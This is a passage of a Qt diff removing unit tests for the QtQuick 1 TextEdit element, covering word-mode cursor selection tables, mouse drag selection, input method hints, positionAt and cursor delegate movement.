QDeclarative1TextEdit::SelectWords << 41 << 44 << true; - QTest::newRow("|words") - << standard[0] << 23 << 24 << QDeclarative1TextEdit::SelectWords << 20 << 26 << true; - QTest::newRow("over|words") - << standard[0] << 26 << 27 << QDeclarative1TextEdit::SelectWords << 20 << 27 << false; - QTest::newRow("jumped<( )over>|words,reversed") - << standard[0] << 27 << 26 << QDeclarative1TextEdit::SelectWords << 26 << 31 << false; - QTest::newRow("<(the )>quick|words") - << standard[0] << 0 << 4 << QDeclarative1TextEdit::SelectWords << 0 << 4 << false; - QTest::newRow("<(the )quick>|words,reversed") - << standard[0] << 4 << 0 << QDeclarative1TextEdit::SelectWords << 0 << 9 << false; - QTest::newRow("|words") - << standard[0] << 40 << 44 << QDeclarative1TextEdit::SelectWords << 36 << 44 << false; - QTest::newRow("lazy<( dog)>|words,reversed") - << standard[0] << 44 << 40 << QDeclarative1TextEdit::SelectWords << 40 << 44 << false; - QTest::newRow("over|words") - << standard[0] << 19 << 27 << QDeclarative1TextEdit::SelectWords << 16 << 27 << false; - QTest::newRow("fox<( jumped )over>|words,reversed") - << standard[0] << 27 << 19 << QDeclarative1TextEdit::SelectWords << 19 << 31 << false; - QTest::newRow("|words") - << standard[0] << 2 << 6 << QDeclarative1TextEdit::SelectWords << 0 << 9 << true; - QTest::newRow("") - << standard[0] << 38 << 42 << QDeclarative1TextEdit::SelectWords << 36 << 44 << true; - QTest::newRow("|words") - << standard[0] << 23 << 29 << QDeclarative1TextEdit::SelectWords << 20 << 31 << true; - QTest::newRow("<()>the|words") - << standard[0] << 0 << 0 << QDeclarative1TextEdit::SelectWords << 0 << 0 << true; - QTest::newRow("dog<()>|words") - << standard[0] << 44 << 44 << QDeclarative1TextEdit::SelectWords << 44 << 44 << true; - QTest::newRow("jum<()>ped|words") - << standard[0] << 23 << 23 << QDeclarative1TextEdit::SelectWords << 23 << 23 << true; - - QTest::newRow("Hello<(,)> |words") - << standard[2] << 5 << 6 << QDeclarative1TextEdit::SelectWords << 5 << 6 << true; - QTest::newRow("Hello<(, )>world|words") - << standard[2] << 5 << 7 << QDeclarative1TextEdit::SelectWords << 5 << 7 << false; - QTest::newRow("Hello<(, )world>|words,reversed") - << standard[2] << 7 << 5 << QDeclarative1TextEdit::SelectWords << 5 << 12 << false; - QTest::newRow("world|words") - << standard[2] << 3 << 7 << QDeclarative1TextEdit::SelectWords << 0 << 7 << false; - QTest::newRow("|words,reversed") - << standard[2] << 7 << 3 << QDeclarative1TextEdit::SelectWords << 0 << 12 << false; - QTest::newRow(",|words") - << standard[2] << 3 << 5 << QDeclarative1TextEdit::SelectWords << 0 << 5 << true; - QTest::newRow("Hello<()>,|words") - << standard[2] << 5 << 5 << QDeclarative1TextEdit::SelectWords << 5 << 5 << true; - QTest::newRow("Hello,<()>|words") - << standard[2] << 6 << 6 << QDeclarative1TextEdit::SelectWords << 6 << 6 << true; - QTest::newRow("Hello<,( )>world|words") - << standard[2] << 6 << 7 << QDeclarative1TextEdit::SelectWords << 5 << 7 << false; - QTest::newRow("Hello,<( )world>|words,reversed") - << standard[2] << 7 << 6 << QDeclarative1TextEdit::SelectWords << 6 << 12 << false; - QTest::newRow("Hello<,( world)>|words") - << standard[2] << 6 << 12 << QDeclarative1TextEdit::SelectWords << 5 << 12 << false; - QTest::newRow("Hello,<( world)>|words,reversed") - << standard[2] << 12 << 6 << QDeclarative1TextEdit::SelectWords << 6 << 12 << false; - QTest::newRow("Hello<,( world!)>|words") - << standard[2] << 6 << 13 << QDeclarative1TextEdit::SelectWords << 5 << 13 << false; - QTest::newRow("Hello,<( world!)>|words,reversed") - << standard[2] << 13 << 6 << QDeclarative1TextEdit::SelectWords << 6 << 13 << false; - QTest::newRow("Hello<(, world!)>|words") - << standard[2] << 5 << 13 << QDeclarative1TextEdit::SelectWords << 5 << 13 << true; - QTest::newRow("world<(!)>|words") - << standard[2] << 12 << 13 << QDeclarative1TextEdit::SelectWords << 12 << 13 << true; - QTest::newRow("world!<()>)|words") - << standard[2] << 13 << 13 << QDeclarative1TextEdit::SelectWords << 13 << 13 << true; - QTest::newRow("world<()>!)|words") - << standard[2] << 12 << 12 << QDeclarative1TextEdit::SelectWords << 12 << 12 << true; - - QTest::newRow("<(,)>olleH |words") - << standard[3] << 7 << 8 << QDeclarative1TextEdit::SelectWords << 7 << 8 << true; - QTest::newRow("olleH|words") - << standard[3] << 6 << 8 << QDeclarative1TextEdit::SelectWords << 1 << 8 << false; - QTest::newRow("dlrow<( ,)>olleH|words,reversed") - << standard[3] << 8 << 6 << QDeclarative1TextEdit::SelectWords << 6 << 8 << false; - QTest::newRow("|words") - << standard[3] << 6 << 10 << QDeclarative1TextEdit::SelectWords << 1 << 13 << false; - QTest::newRow("dlrow<( ,ol)leH>|words,reversed") - << standard[3] << 10 << 6 << QDeclarative1TextEdit::SelectWords << 6 << 13 << false; - QTest::newRow(",<(ol)leH>,|words") - << standard[3] << 8 << 10 << QDeclarative1TextEdit::SelectWords << 8 << 13 << true; - QTest::newRow(",<()>olleH|words") - << standard[3] << 8 << 8 << QDeclarative1TextEdit::SelectWords << 8 << 8 << true; - QTest::newRow("<()>,olleH|words") - << standard[3] << 7 << 7 << QDeclarative1TextEdit::SelectWords << 7 << 7 << true; - QTest::newRow(",olleH|words") - << standard[3] << 6 << 7 << QDeclarative1TextEdit::SelectWords << 1 << 7 << false; - QTest::newRow("dlrow<( ),>olleH|words,reversed") - << standard[3] << 7 << 6 << QDeclarative1TextEdit::SelectWords << 6 << 8 << false; - QTest::newRow("<(dlrow )>,olleH|words") - << standard[3] << 1 << 7 << QDeclarative1TextEdit::SelectWords << 1 << 7 << false; - QTest::newRow("<(dlrow ),>olleH|words,reversed") - << standard[3] << 7 << 1 << QDeclarative1TextEdit::SelectWords << 1 << 8 << false; - QTest::newRow("<(!dlrow )>,olleH|words") - << standard[3] << 0 << 7 << QDeclarative1TextEdit::SelectWords << 0 << 7 << false; - QTest::newRow("<(!dlrow ),>olleH|words,reversed") - << standard[3] << 7 << 0 << QDeclarative1TextEdit::SelectWords << 0 << 8 << false; - QTest::newRow("(!dlrow ,)olleH|words") - << standard[3] << 0 << 8 << QDeclarative1TextEdit::SelectWords << 0 << 8 << true; - QTest::newRow("<(!)>dlrow|words") - << standard[3] << 0 << 1 << QDeclarative1TextEdit::SelectWords << 0 << 1 << true; - QTest::newRow("<()>!dlrow|words") - << standard[3] << 0 << 0 << QDeclarative1TextEdit::SelectWords << 0 << 0 << true; - QTest::newRow("!<()>dlrow|words") - << standard[3] << 1 << 1 << QDeclarative1TextEdit::SelectWords << 1 << 1 << true; -} - -void tst_qdeclarativetextedit::moveCursorSelection() -{ - QFETCH(QString, testStr); - QFETCH(int, cursorPosition); - QFETCH(int, movePosition); - QFETCH(QDeclarative1TextEdit::SelectionMode, mode); - QFETCH(int, selectionStart); - QFETCH(int, selectionEnd); - QFETCH(bool, reversible); - - QString componentStr = "import QtQuick 1.1\nTextEdit { text: \""+ testStr +"\"; }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *texteditObject = qobject_cast(textinputComponent.create()); - QVERIFY(texteditObject != 0); - - texteditObject->setCursorPosition(cursorPosition); - texteditObject->moveCursorSelection(movePosition, mode); - - QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart)); - QCOMPARE(texteditObject->selectionStart(), selectionStart); - QCOMPARE(texteditObject->selectionEnd(), selectionEnd); - - if (reversible) { - texteditObject->setCursorPosition(movePosition); - texteditObject->moveCursorSelection(cursorPosition, mode); - - QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart)); - QCOMPARE(texteditObject->selectionStart(), selectionStart); - QCOMPARE(texteditObject->selectionEnd(), selectionEnd); - } -} - -void tst_qdeclarativetextedit::moveCursorSelectionSequence_data() -{ - QTest::addColumn("testStr"); - QTest::addColumn("cursorPosition"); - QTest::addColumn("movePosition1"); - QTest::addColumn("movePosition2"); - QTest::addColumn("selection1Start"); - QTest::addColumn("selection1End"); - QTest::addColumn("selection2Start"); - QTest::addColumn("selection2End"); - - QTest::newRow("the { f^ox} jumped|ltr") - << standard[0] - << 9 << 13 << 17 - << 4 << 15 - << 4 << 19; - QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl") - << standard[0] - << 13 << 9 << 17 - << 9 << 15 - << 10 << 19; - QTest::newRow("the { ^}fox jumped|ltr") - << standard[0] - << 9 << 13 << 16 - << 4 << 15 - << 4 << 16; - QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl") - << standard[0] - << 13 << 9 << 16 - << 9 << 15 - << 10 << 16; - QTest::newRow("the {} fox jumped|ltr") - << standard[0] - << 9 << 13 << 15 - << 4 << 15 - << 4 << 15; - QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl") - << standard[0] - << 13 << 9 << 15 - << 9 << 15 - << 10 << 15; - QTest::newRow("the { fox|ltr") - << standard[0] - << 9 << 13 << 10 - << 4 << 15 - << 4 << 10; - QTest::newRow("the quick<(^ {^bro)wn>} fox|rtl") - << standard[0] - << 13 << 9 << 10 - << 9 << 15 - << 10 << 15; - QTest::newRow("the { fox|ltr") - << standard[0] - << 9 << 13 << 9 - << 4 << 15 - << 4 << 9; - QTest::newRow("the quick{<(^ bro)wn>} fox|rtl") - << standard[0] - << 13 << 9 << 9 - << 9 << 15 - << 9 << 15; - QTest::newRow("the { fox|ltr") - << standard[0] - << 9 << 13 << 7 - << 4 << 15 - << 4 << 9; - QTest::newRow("the { fox|rtl") - << standard[0] - << 13 << 9 << 7 - << 9 << 15 - << 4 << 15; - QTest::newRow("the {<^quick}( bro)wn> fox|ltr") - << standard[0] - << 9 << 13 << 4 - << 4 << 15 - << 4 << 9; - QTest::newRow("the {<^quick}( bro)wn> fox|rtl") - << standard[0] - << 13 << 9 << 4 - << 9 << 15 - << 4 << 15; - QTest::newRow("the{^ fox|ltr") - << standard[0] - << 9 << 13 << 3 - << 4 << 15 - << 3 << 9; - QTest::newRow("the{^ fox|rtl") - << standard[0] - << 13 << 9 << 3 - << 9 << 15 - << 3 << 15; - QTest::newRow("{t^he fox|ltr") - << standard[0] - << 9 << 13 << 1 - << 4 << 15 - << 0 << 9; - QTest::newRow("{t^he fox|rtl") - << standard[0] - << 13 << 9 << 1 - << 9 << 15 - << 0 << 15; - - QTest::newRow("{, w^orld}!|ltr") - << standard[2] - << 2 << 4 << 8 - << 0 << 5 - << 0 << 12; - QTest::newRow("{, w^orld}!|rtl") - << standard[2] - << 4 << 2 << 8 - << 0 << 5 - << 0 << 12; - - QTest::newRow("!{dlro^w ,}|ltr") - << standard[3] - << 9 << 11 << 5 - << 8 << 13 - << 1 << 13; - QTest::newRow("!{dlro^w ,}|rtl") - << standard[3] - << 11 << 9 << 5 - << 8 << 13 - << 1 << 13; -} - -void tst_qdeclarativetextedit::moveCursorSelectionSequence() -{ - QFETCH(QString, testStr); - QFETCH(int, cursorPosition); - QFETCH(int, movePosition1); - QFETCH(int, movePosition2); - QFETCH(int, selection1Start); - QFETCH(int, selection1End); - QFETCH(int, selection2Start); - QFETCH(int, selection2End); - - QString componentStr = "import QtQuick 1.1\nTextEdit { text: \""+ testStr +"\"; }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *texteditObject = qobject_cast(texteditComponent.create()); - QVERIFY(texteditObject != 0); - - texteditObject->setCursorPosition(cursorPosition); - - texteditObject->moveCursorSelection(movePosition1, QDeclarative1TextEdit::SelectWords); - QCOMPARE(texteditObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start)); - QCOMPARE(texteditObject->selectionStart(), selection1Start); - QCOMPARE(texteditObject->selectionEnd(), selection1End); - - texteditObject->moveCursorSelection(movePosition2, QDeclarative1TextEdit::SelectWords); - QCOMPARE(texteditObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start)); - QCOMPARE(texteditObject->selectionStart(), selection2Start); - QCOMPARE(texteditObject->selectionEnd(), selection2End); -} - - -void tst_qdeclarativetextedit::mouseSelection_data() -{ - QTest::addColumn("qmlfile"); - QTest::addColumn("from"); - QTest::addColumn("to"); - QTest::addColumn("selectedText"); - - // import installed - QTest::newRow("on") << SRCDIR "/data/mouseselection_true.qml" << 4 << 9 << "45678"; - QTest::newRow("off") << SRCDIR "/data/mouseselection_false.qml" << 4 << 9 << QString(); - QTest::newRow("default") << SRCDIR "/data/mouseselection_default.qml" << 4 << 9 << QString(); - QTest::newRow("off word selection") << SRCDIR "/data/mouseselection_false_words.qml" << 4 << 9 << QString(); - QTest::newRow("on word selection (4,9)") << SRCDIR "/data/mouseselection_true_words.qml" << 4 << 9 << "0123456789"; - QTest::newRow("on word selection (2,13)") << SRCDIR "/data/mouseselection_true_words.qml" << 2 << 13 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - QTest::newRow("on word selection (2,30)") << SRCDIR "/data/mouseselection_true_words.qml" << 2 << 30 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - QTest::newRow("on word selection (9,13)") << SRCDIR "/data/mouseselection_true_words.qml" << 9 << 13 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - QTest::newRow("on word selection (9,30)") << SRCDIR "/data/mouseselection_true_words.qml" << 9 << 30 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - QTest::newRow("on word selection (13,2)") << SRCDIR "/data/mouseselection_true_words.qml" << 13 << 2 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - QTest::newRow("on word selection (20,2)") << SRCDIR "/data/mouseselection_true_words.qml" << 20 << 2 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - QTest::newRow("on word selection (12,9)") << SRCDIR "/data/mouseselection_true_words.qml" << 12 << 9 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - QTest::newRow("on word selection (30,9)") << SRCDIR "/data/mouseselection_true_words.qml" << 30 << 9 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"; -} - -void tst_qdeclarativetextedit::mouseSelection() -{ - QFETCH(QString, qmlfile); - QFETCH(int, from); - QFETCH(int, to); - QFETCH(QString, selectedText); - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextEdit *textEditObject = qobject_cast(canvas->rootObject()); - QVERIFY(textEditObject != 0); - - // press-and-drag-and-release from x1 to x2 - QPoint p1 = canvas->mapFromScene(textEditObject->positionToRectangle(from).center()); - QPoint p2 = canvas->mapFromScene(textEditObject->positionToRectangle(to).center()); - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, p1); - //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(p2), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, p2); - QCOMPARE(textEditObject->selectedText(), selectedText); - - // Clicking and shift to clicking between the same points should select the same text. - textEditObject->setCursorPosition(0); - QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::NoModifier, p1); - QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::ShiftModifier, p2); - QCOMPARE(textEditObject->selectedText(), selectedText); - - delete canvas; -} - -void tst_qdeclarativetextedit::multilineMouseSelection() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/mouseselection_multiline.qml"); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextEdit *textEditObject = qobject_cast(canvas->rootObject()); - QVERIFY(textEditObject != 0); - - // press-and-drag from x1,y1 to x2,y1 - int x1 = 10; - int x2 = textEditObject->width() - 10; - int y1 = textEditObject->height() / 4; - int y2 = textEditObject->height() * 3 / 4; - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y1))); - QMouseEvent mv1(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y1)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv1); - QString str1 = textEditObject->selectedText(); - QVERIFY(str1.length() > 3); // don't reallly care *what* was selected (and it's too sensitive to platform) - - // drag-and-release from x2,y1 to x2,y2 - QMouseEvent mv2(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y2)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv2); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y2))); - QString str2 = textEditObject->selectedText(); - QVERIFY(str1 != str2); - QVERIFY(str2.length() > 3); - - delete canvas; -} - -void tst_qdeclarativetextedit::deferEnableSelectByMouse_data() -{ - QTest::addColumn("qmlfile"); - - QTest::newRow("writable") << SRCDIR "/data/mouseselection_false.qml"; - QTest::newRow("read only") << SRCDIR "/data/mouseselection_false_readonly.qml"; -} - -void tst_qdeclarativetextedit::deferEnableSelectByMouse() -{ - // Verify text isn't selected if selectByMouse is enabled after the mouse button has been pressed. - QFETCH(QString, qmlfile); - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextEdit *textEditObject = qobject_cast(canvas->rootObject()); - QVERIFY(textEditObject != 0); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textEditObject->height()/2; - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - textEditObject->setSelectByMouse(true); - //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QVERIFY(textEditObject->selectedText().isEmpty()); - - delete canvas; -} - -void tst_qdeclarativetextedit::deferDisableSelectByMouse_data() -{ - QTest::addColumn("qmlfile"); - - QTest::newRow("writable") << SRCDIR "/data/mouseselection_true.qml"; - QTest::newRow("read only") << SRCDIR "/data/mouseselection_true_readonly.qml"; -} - -void tst_qdeclarativetextedit::deferDisableSelectByMouse() -{ - // Verify text isn't selected if selectByMouse is enabled after the mouse button has been pressed. - QFETCH(QString, qmlfile); - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextEdit *textEditObject = qobject_cast(canvas->rootObject()); - QVERIFY(textEditObject != 0); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textEditObject->height()/2; - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - textEditObject->setSelectByMouse(false); - //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QVERIFY(textEditObject->selectedText().length() > 3); - - delete canvas; -} - -void tst_qdeclarativetextedit::dragMouseSelection() -{ - QString qmlfile = SRCDIR "/data/mouseselection_true.qml"; - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextEdit *textEditObject = qobject_cast(canvas->rootObject()); - QVERIFY(textEditObject != 0); - - textEditObject->setAcceptDrops(true); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textEditObject->height()/2; - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QString str1 = textEditObject->selectedText(); - QVERIFY(str1.length() > 3); - - // press and drag the current selection. - x1 = 40; - x2 = 100; - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QString str2 = textEditObject->selectedText(); - QVERIFY(str2.length() > 3); - - QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved. - - delete canvas; -} - -void tst_qdeclarativetextedit::mouseSelectionMode_data() -{ - QTest::addColumn("qmlfile"); - QTest::addColumn("selectWords"); - - // import installed - QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true; - QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false; - QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false; -} - -void tst_qdeclarativetextedit::mouseSelectionMode() -{ - QFETCH(QString, qmlfile); - QFETCH(bool, selectWords); - - QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextEdit *textEditObject = qobject_cast(canvas->rootObject()); - QVERIFY(textEditObject != 0); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textEditObject->height()/2; - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QString str = textEditObject->selectedText(); - if (selectWords) { - QCOMPARE(str, text); - } else { - QVERIFY(str.length() > 3); - QVERIFY(str != text); - } - - // Clicking and shift to clicking between the same points should select the same text. - textEditObject->setCursorPosition(0); - QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::NoModifier, canvas->mapFromScene(QPoint(x1,y))); - QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::ShiftModifier, canvas->mapFromScene(QPoint(x2,y))); - QCOMPARE(textEditObject->selectedText(), str); - - delete canvas; -} - -void tst_qdeclarativetextedit::inputMethodHints() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethodhints.qml"); - canvas->show(); - canvas->setFocus(); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextEdit *textEditObject = qobject_cast(canvas->rootObject()); - QVERIFY(textEditObject != 0); - QVERIFY(textEditObject->inputMethodHints() & Qt::ImhNoPredictiveText); - textEditObject->setInputMethodHints(Qt::ImhUppercaseOnly); - QVERIFY(textEditObject->inputMethodHints() & Qt::ImhUppercaseOnly); - - delete canvas; -} - -void tst_qdeclarativetextedit::positionAt() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml"); - QVERIFY(canvas->rootObject() != 0); - canvas->show(); - canvas->setFocus(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - - QDeclarative1TextEdit *texteditObject = qobject_cast(canvas->rootObject()); - QVERIFY(texteditObject != 0); - - QTextLayout layout(texteditObject->text()); - layout.setFont(texteditObject->font()); - - layout.beginLayout(); - QTextLine line = layout.createLine(); - layout.endLayout(); - - const int y0 = line.height() / 2; - const int y1 = line.height() * 3 / 2; - - int pos = texteditObject->positionAt(texteditObject->width()/2, y0); - - int widthBegin = floor(line.cursorToX(pos - 1)); - int widthEnd = ceil(line.cursorToX(pos + 1)); - - QVERIFY(widthBegin <= texteditObject->width() / 2); - QVERIFY(widthEnd >= texteditObject->width() / 2); - - const qreal x0 = texteditObject->positionToRectangle(pos).x(); - const qreal x1 = texteditObject->positionToRectangle(pos + 1).x(); - - QString preeditText = texteditObject->text().mid(0, pos); - texteditObject->setText(texteditObject->text().mid(pos)); - texteditObject->setCursorPosition(0); - - QInputMethodEvent inputEvent(preeditText, QList()); - QApplication::sendEvent(canvas, &inputEvent); - - // Check all points within the preedit text return the same position. - QCOMPARE(texteditObject->positionAt(0, y0), 0); - QCOMPARE(texteditObject->positionAt(x0 / 2, y0), 0); - QCOMPARE(texteditObject->positionAt(x0, y0), 0); - - // Verify positioning returns to normal after the preedit text. - QCOMPARE(texteditObject->positionAt(x1, y0), 1); - QCOMPARE(texteditObject->positionToRectangle(1).x(), x1); - - QVERIFY(texteditObject->positionAt(x0 / 2, y1) > 0); - - delete canvas; -} - -void tst_qdeclarativetextedit::cursorDelegate() -{ - QDeclarativeView* view = createView(SRCDIR "/data/cursorTest.qml"); - view->show(); - view->setFocus(); - QDeclarative1TextEdit *textEditObject = view->rootObject()->findChild("textEditObject"); - QVERIFY(textEditObject != 0); - QVERIFY(textEditObject->findChild("cursorInstance")); - //Test Delegate gets created - textEditObject->setFocus(true); - QDeclarativeItem* delegateObject = textEditObject->findChild("cursorInstance"); - QVERIFY(delegateObject); - //Test Delegate gets moved - for(int i=0; i<= textEditObject->text().length(); i++){ - textEditObject->setCursorPosition(i); - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - } - const QString preedit = "preedit"; - for (int i = 0; i <= preedit.length(); i++) { - QInputMethodEvent event(preedit, QList() - << QInputMethodEvent::Attribute(QInputMethodEvent::Cursor, i, 1, QVariant())); - QApplication::sendEvent(view, &event); - - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - } - // Clear preedit text; - QInputMethodEvent event; - QApplication::sendEvent(view, &event); - - - // Test delegate gets moved on mouse press. - textEditObject->setSelectByMouse(true); - textEditObject->setCursorPosition(0); - const QPoint point1 = view->mapFromScene(textEditObject->positionToRectangle(5).center()); - QTest::mouseClick(view->viewport(), Qt::LeftButton, 0, point1); - QVERIFY(textEditObject->cursorPosition() != 0); - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - - // Test delegate gets moved on mouse drag - textEditObject->setCursorPosition(0); - const QPoint point2 = view->mapFromScene(textEditObject->positionToRectangle(10).center()); - QTest::mousePress(view->viewport(), Qt::LeftButton, 0, point1); - QMouseEvent mv(QEvent::MouseMove, point2, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(view->viewport(), &mv); - QTest::mouseRelease(view->viewport(), Qt::LeftButton, 0, point2); - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - - textEditObject->setReadOnly(true); - textEditObject->setCursorPosition(0); - QTest::mouseClick(view->viewport(), Qt::LeftButton, 0, view->mapFromScene(textEditObject->positionToRectangle(5).center())); - QVERIFY(textEditObject->cursorPosition() != 0); - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - - textEditObject->setCursorPosition(0); - QTest::mouseClick(view->viewport(), Qt::LeftButton, 0, view->mapFromScene(textEditObject->positionToRectangle(5).center())); - QVERIFY(textEditObject->cursorPosition() != 0); - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - - textEditObject->setCursorPosition(0); - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - QVERIFY(textEditObject->cursorRectangle().y() >= 0); - QVERIFY(textEditObject->cursorRectangle().y() < 